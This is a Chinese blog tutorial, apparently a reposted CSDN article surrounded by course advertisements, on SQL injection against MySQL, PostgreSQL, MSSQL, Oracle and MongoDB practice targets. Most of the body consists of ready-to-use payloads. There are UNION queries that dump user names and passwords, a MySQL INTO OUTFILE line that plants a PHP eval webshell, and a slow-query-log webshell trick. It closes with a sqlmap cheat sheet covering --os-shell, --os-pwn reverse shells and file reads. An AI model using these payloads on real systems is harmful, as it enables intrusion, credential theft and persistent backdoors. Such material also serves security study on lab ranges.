网络安全最全安全基础~通用漏洞1(2),食堂大妈看完都会了

给大家的福利

零基础入门

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

同时每个成长路线对应的板块都有配套的视频提供:

在这里插入图片描述

因篇幅有限,仅展示部分资料

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

    print(sqlins)

**数据库中文件操作:**


 需要有文件读取的权限,也就是root权限


读取文件:`select load_file('d:/www.txt');`  
 写入文件:`select 'xxx' into outfile 'd:/1.txt';`


读取关键配置文件:`http://127.0.0.1:8081/web/mysql/news.php?id=1 UNION SELECT 1,load_file('D:\\phpstudy_pro\\WWW\\web\\mysql\\config\\conn.php'),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17`  
 后门代码:  
 `http://127.0.0.1:8081/web/mysql/news.php ?id=1 UNION SELECT 1,'<?php eval($_POST['cmd']);?>',3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 into outfile 'D:\\phpstudy_pro\\WWW\\web\\mysql\\3.php'`  
 路径获取:phpinfo,报错,字典等


无法写入:`secure_file_priv`突破 //限制读写的路径 ,注入中需要支持SQL执行环境,没有就需要借助phpmyadmin或能够直接连接上对方数据库来绕过


set global slow\_query\_log=1


set global slow\_query\_log\_file=‘shell路径’


select ‘<? php eval($\_GET[A] ?>’ or SLEEP(11);


关于文件读取和写入请参考文章:<http://www.taodudu.cc/news/show-4259716.html?action=onClick>


## PostgreSQL-高权限读写注入


-测列数:



order by 4
and 1=2 union select null,null,null,null


-测显位:第2,3



and 1=2 union select ‘null’,null,null,null 错误
and 1=2 union select null,‘null’,null,null 正常
and 1=2 union select null,null,‘null’,null 正常
and 1=2 union select null,null,null,‘null’ 错误


![EG1](https://img-blog.csdnimg.cn/direct/be127c655ae64fa4a5c65dbcec26e1da.png)  
 -获取信息:



and 1=2 UNION SELECT null,version(),null,null
and 1=2 UNION SELECT null,current_user,null,null


![EG2](https://img-blog.csdnimg.cn/direct/fecd9ab34b494b13a25654d3098818a5.png)  
 – 爆库



and 1=2 union select null,current_database(),null,null # 当前数据库
and 1=2 union select null,string_agg(datname,‘,’),null,null from pg_database #所有数据库


![EG3](https://img-blog.csdnimg.cn/direct/e31f3e0017d94542aff236091bb3b545.png)  
 ![EG4](https://img-blog.csdnimg.cn/direct/601bb17e5cbf47d2881c20b349a62e1c.png)  
 -获取表名:



and 1=2 union select null,string_agg(tablename,‘,’),null,null from pg_tables where schemaname=‘public’
and 1=2 union select null,string_agg(relname,‘,’),null,null from pg_stat_user_tables


![eg5](https://img-blog.csdnimg.cn/direct/58ec36520aec471c843a5f5034e3fd27.png)  
 -获取列名:



and 1=2 union select null,string_agg(column_name,‘,’),null,null from information_schema.columns where table_name=‘reg_users’


![eg6](https://img-blog.csdnimg.cn/direct/16ff3b1eac2b4d30aab2810a13030817.png)  
 -获取数据:



and 1=2 union select null,string_agg(name,‘,’),string_agg(password,‘,’),null from reg_users


![eg7](https://img-blog.csdnimg.cn/direct/b0dc866ca5b34e278c9263a641bd5e1b.png)  
 参考:<https://www.freebuf.com/sectool/249371.html>  
 -补充-获取dba用户(同样在DBA用户下,是可以进行文件读写的):



and 1=2 union select null,string_agg(usename,‘,’),null,null FROM pg_user WHERE usesuper IS TRUE


![EG8](https://img-blog.csdnimg.cn/direct/216afb29115544d7a77e47b122373985.png)


## MSSQL-sa高权限读写执行注入


-测列数:



order by 4
and 1=2 union all select null,null,null,null


-测显位:



and 1=2 union all select null,1,null,null
and 1=2 union all select null,null,‘s’,null


db\_name() 当前数据库名字  
 user、system\_user,current\_user,user\_name 获取当前用户名  
 @@SERVERNAME 获取服务器主机信息  
 @@version 获取版本信息  
 ![TEST2](https://img-blog.csdnimg.cn/direct/c4f4380d8cd141d69f9174728d15427e.png)


![TEST1](https://img-blog.csdnimg.cn/direct/0345ddfd78fb4b1abb1674ecb5d7b502.png)



and 1=2 union all select null,db_name(),null,null


-获取表名:



and 1=2 union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’),null,null
union all select null,(select top 1 name from mozhe_db_v2.dbo.sysobjects where xtype=‘u’ and name not in (‘manage’)),null,null


-获取列名:



and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),1) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),2) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),3) from sysobjects),null,null
and 1=2 union all select null,(select top 1 col_name(object_id(‘manage’),4) from sysobjects),null,null


![TEST3](https://img-blog.csdnimg.cn/direct/343d1493029e4b9fb280e796056a2ec1.png)


-获取数据:



and 1=2 union all select null,username, password ,null from manage


## Oracle 注入


参考文章:<https://www.cnblogs.com/peterpan0707007/p/8242119.html>


测字段:`order by 2`  
 ![step1](https://img-blog.csdnimg.cn/direct/3104282157984276a36492c1cdb01f68.png)  
 查回显:`union select '1','2' from dual`  
 oracle自带虚拟表`dual`  
 ![STEP2](https://img-blog.csdnimg.cn/direct/9ba1bcfbaad54dddbbada244d912d962.png)  
 爆表:`and 1=2 union select '1',(select table_name from user_tables where rownum=1) from dual`  
 记录表名字:LOGMNR\_SESSION\_EVOLVE$  
 但是这样查询过于复杂,不适用,所以有下面的模糊爆库  
 ![step3](https://img-blog.csdnimg.cn/direct/85ed7e21943c4a3ea419189241ca382f.png)  
 模糊爆表:`and 1=2 union select '1',(select table_name from user_tables where rownum=1 and table_name like '%user%') from dual`  
 记录表名:sns\_users  
 ![step4](https://img-blog.csdnimg.cn/direct/d874b09becd04c35af9ff3e1dbe8621b.png)  
 爆列名:`and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users') from dual`  
 爆其他列名:`and 1=2 union select '1',(select column_name from all_tab_columns where rownum=1 and table_name='sns_users' and column_name not in ('USER_NAME')) from dual`  
 ![step5](https://img-blog.csdnimg.cn/direct/0120d6220f6c4566b4ae665272d9f1c1.png)  
 爆数据:`and 1=2 union select user_name,user_pwd from "sns_users"`  
 爆其他数据:`and 1=2 union select user_name,user_pwd from "sns_users" where USER_NAME<>'hu'`  
 ![STEP6](https://img-blog.csdnimg.cn/direct/3ee05960ead747fe942b23ed9566269d.png)


## Mongodb 注入


参考:<https://www.runoob.com/mongodb/mongodb-query.html>  
 这类型的数据库在python用的比较多。  
 启动靶场,发现关键性代码:  
 `$query="var data=db.notice.findOne({'id':'$id'});return data;";`  
 SQL执行语句,如果没有关键性代码,那么我们很难闭合这个符号,很难去猜解账号密码。  
 ![QUESTION](https://img-blog.csdnimg.cn/direct/b3beb60100f647668378f874dc560b2d.png)  
 如何构造payload?  
 正常写法:`select * from news where id=1`  
 mdb数据库写法:`select * from news where id={('$id')},`需要闭合符号


原始语句:`db.notice.findOne({'id':'$id'});return data;`  
 如果 `?id=1 order by 2`  
 那么语句就会变成:`db.notice.findOne({'id':‘1 order by 2’});return data;,`语句不正确。  
 但是注入语句 `?id=1'}); return ({title:tojson(db),content:'1`  
 那么语句就变成:`db.notice.findOne({'id':‘1'}); return ({title:tojson(db),content:'1'});return data;` ,就可以进行正常的注入。  
 测回显:`/new_list.php?id=1'}); return ({title:1,content:'2`  
 ![step1](https://img-blog.csdnimg.cn/direct/98c05b79f2a146acbfb80d0286f4a03a.png)  
 爆库:  `/new_list.php?id=1'}); return ({title:tojson(db),content:'1`  
 记录数据库:`mozhe_cms_Authority`  
 ![step2](https://img-blog.csdnimg.cn/direct/c9144bcf84c14fbd9c93743cf1fe64f2.png)  
 爆表: `/new_list.php?id=1'}); return ({title:tojson(db.getCollectionNames()),content:'1`


`db.getCollectionNames()`返回的是数组,需要用tojson转换为字符串。  
 记录表名:`"Authority_confidential", "notice", "system.indexes"`  
 ![step3](https://img-blog.csdnimg.cn/direct/a74480502a214f60a5670129308d2b90.png)  
 爆字段:`/new_list.php?id=1'}); return ({title:tojson(db.Authority_confidential.find()[0]),content:'1`


`db.Authority_confidential`是当前用的集合(表),find函数用于查询,0是第一条数据


## sqlmap基础命令



SQLmap使用步骤:
1、判断数据库注入点
2、判断注入点权限

#SQLMAP使用参数:
参考:https://www.cnblogs.com/bmjoker/p/9326258.html
基本操作笔记:-u #注入点
-f #指纹判别数据库类型
-b #获取数据库版本信息
-p #指定可测试的参数(?page=1&id=2 -p “page,id”)
-D “” #指定数据库名
-T “” #指定表名
-C “” #指定字段
-s “” #保存注入过程到一个文件,还可中断,下次恢复在注入(保存:-s “xx.log”  恢复:-s “xx.log” --resume)
–level=(1-5) #要执行的测试水平等级,默认为1
–risk=(0-3) #测试执行的风险等级,默认为1
–time-sec=(2,5) #延迟响应,默认为5
–data #通过POST发送数据
–columns #列出字段
–current-user #获取当前用户名称
–current-db #获取当前数据库名称
–users #列数据库所有用户
–passwords #数据库用户所有密码
–privileges #查看用户权限(–privileges -U root)
-U #指定数据库用户
–dbs #列出所有数据库
–tables -D “” #列出指定数据库中的表
–columns -T “user” -D “mysql” #列出mysql数据库中的user表的所有字段
–dump-all #列出所有数据库所有表
–exclude-sysdbs #只列出用户自己新建的数据库和表
–dump -T “” -D “” -C “” #列出指定数据库的表的字段的数据(–dump -T users -D master -C surname)
–dump -T “” -D “” --start 2 --top 4 # 列出指定数据库的表的2-4字段的数据
–dbms #指定数据库(MySQL,Oracle,PostgreSQL,Microsoft SQL Server,Microsoft Access,SQLite,Firebird,Sybase,SAP MaxDB)
–os #指定系统(Linux,Windows)
-v #详细的等级(0-6)
0:只显示Python的回溯,错误和关键消息。
1:显示信息和警告消息。
2:显示调试消息。
3:有效载荷注入。
4:显示HTTP请求。
5:显示HTTP响应头。
6:显示HTTP响应页面的内容
–privileges #查看权限
–is-dba #是否是数据库管理员
–roles #枚举数据库用户角色
–udf-inject #导入用户自定义函数(获取系统权限)
–union-check #是否支持union 注入
–union-cols #union 查询表记录
–union-test #union 语句测试
–union-use #采用union 注入
–union-tech orderby #union配合order by
–data “” #POST方式提交数据(–data “page=1&id=2”)
–cookie “用;号分开” #cookie注入(–cookies=”PHPSESSID=mvijocbglq6pi463rlgk1e4v52; security=low”)
–referer “” #使用referer欺骗(–referer “http://www.baidu.com”)
–user-agent “” #自定义user-agent
–proxy “http://127.0.0.1:8118” #代理注入
–string=“” #指定关键词,字符串匹配.
–threads    #采用多线程(–threads 3)
–sql-shell #执行指定sql命令
–sql-query #执行指定的sql语句(–sql-query “SELECT password FROM mysql.user WHERE user = ‘root’ LIMIT 0, 1” )
–file-read #读取指定文件
–file-write #写入本地文件(–file-write /test/test.txt --file-dest /var/www/html/1.txt;将本地的test.txt文件写入到目标的1.txt)
–file-dest #要写入的文件绝对路径
–os-cmd=id #执行系统命令
–os-shell #系统交互shell
–os-pwn #反弹shell(–os-pwn --msf-path=/opt/framework/msf3/)
–msf-path= #matesploit绝对路径(–msf-path=/opt/framework/msf3/)
–os-smbrelay #
–os-bof #
–reg-read #读取win系统注册表
–priv-esc #
–time-sec= #延迟设置 默认–time-sec=5 为5秒
-p “user-agent” --user-agent “sqlmap/0.7rc1 (http://sqlmap.sourceforge.net)” #指定user-agent注入
–eta #盲注
/pentest/database/sqlmap/txt/
common-columns.txt  字段字典   
common-outputs.txt
common-tables.txt 表字典
keywords.txt
oracle-default-passwords.txt
user-agents.txt
wordlist.txt

常用语句 :
1./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -f -b --current-user --current-db --users --passwords --dbs -v 0
2./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --passwords -U root --union-use -v 2
3./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -T users -C username -D userdb --start 2 --stop 3 -v 2
4./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --dump -C “user,pass” -v 1 --exclude-sysdbs
5./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --sql-shell -v 2
6./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-read “c:\boot.ini” -v 2
7./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --file-write /test/test.txt --file-dest /var/www/html/1.txt -v 2
8./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-cmd “id” -v 1
9./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-shell --union-use -v 2
10./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 --priv-esc -v 1
11./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-pwn --msf-path=/opt/framework/msf3 -v 1
12./sqlmap.py -u http://www.xxxxx.com/test.php?p=2 -b --os-bof --msf-path=/opt/framework/msf3 -v 1

如何自学黑客&网络安全

黑客零基础入门学习路线&规划

初级黑客
1、网络安全理论知识(2天)
①了解行业相关背景,前景,确定发展方向。
②学习网络安全相关法律法规。
③网络安全运营的概念。
④等保简介、等保规定、流程和规范。(非常重要)

2、渗透测试基础(一周)
①渗透测试的流程、分类、标准
②信息收集技术:主动/被动信息搜集、Nmap工具、Google Hacking
③漏洞扫描、漏洞利用、原理,利用方法、工具(MSF)、绕过IDS和反病毒侦察
④主机攻防演练:MS17-010、MS08-067、MS10-046、MS12-20等

3、操作系统基础(一周)
①Windows系统常见功能和命令
②Kali Linux系统常见功能和命令
③操作系统安全(系统入侵排查/系统加固基础)

4、计算机网络基础(一周)
①计算机网络基础、协议和架构
②网络通信原理、OSI模型、数据转发流程
③常见协议解析(HTTP、TCP/IP、ARP等)
④网络攻击技术与网络安全防御技术
⑤Web漏洞原理与防御:主动/被动攻击、DDOS攻击、CVE漏洞复现

5、数据库基础操作(2天)
①数据库基础
②SQL语言基础
③数据库安全加固

6、Web渗透(1周)
①HTML、CSS和JavaScript简介
②OWASP Top10
③Web漏洞扫描工具
④Web渗透工具:Nmap、BurpSuite、SQLMap、其他(菜刀、漏扫等)
恭喜你,如果学到这里,你基本可以从事一份网络安全相关的工作,比如渗透测试、Web 渗透、安全服务、安全分析等岗位;如果等保模块学的好,还可以从事等保工程师。薪资区间6k-15k

到此为止,大概1个月的时间。你已经成为了一名“脚本小子”。那么你还想往下探索吗?

如果你想要入坑黑客&网络安全,笔者给大家准备了一份:282G全网最全的网络安全资料包评论区留言即可领取!

7、脚本编程(初级/中级/高级)
在网络安全领域。是否具备编程能力是“脚本小子”和真正黑客的本质区别。在实际的渗透测试过程中,面对复杂多变的网络环境,当常用工具不能满足实际需求的时候,往往需要对现有工具进行扩展,或者编写符合我们要求的工具、自动化脚本,这个时候就需要具备一定的编程能力。在分秒必争的CTF竞赛中,想要高效地使用自制的脚本工具来实现各种目的,更是需要拥有编程能力.

如果你零基础入门,笔者建议选择脚本语言Python/PHP/Go/Java中的一种,对常用库进行编程学习;搭建开发环境和选择IDE,PHP环境推荐Wamp和XAMPP, IDE强烈推荐Sublime;·Python编程学习,学习内容包含:语法、正则、文件、 网络、多线程等常用库,推荐《Python核心编程》,不要看完;·用Python编写漏洞的exp,然后写一个简单的网络爬虫;·PHP基本语法学习并书写一个简单的博客系统;熟悉MVC架构,并试着学习一个PHP框架或者Python框架 (可选);·了解Bootstrap的布局或者CSS。

8、超级黑客
这部分内容对零基础的同学来说还比较遥远,就不展开细说了,附上学习路线。
img

网络安全工程师企业级学习路线

img
如图片过大被平台压缩导致看不清的话,评论区点赞和评论区留言获取吧。我都会回复的

视频配套资料&国内外网安书籍、文档&工具

当然除了有配套的视频,同时也为大家整理了各种文档和书籍资料&工具,并且已经帮大家分好类了。

img
一些笔者自己买的、其他平台白嫖不到的视频教程。
img

网上学习资料一大堆,但如果学到的知识不成体系,遇到问题时只是浅尝辄止,不再深入研究,那么很难做到真正的技术提升。

需要这份系统化资料的朋友,可以点击这里获取

一个人可以走的很快,但一群人才能走的更远!不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值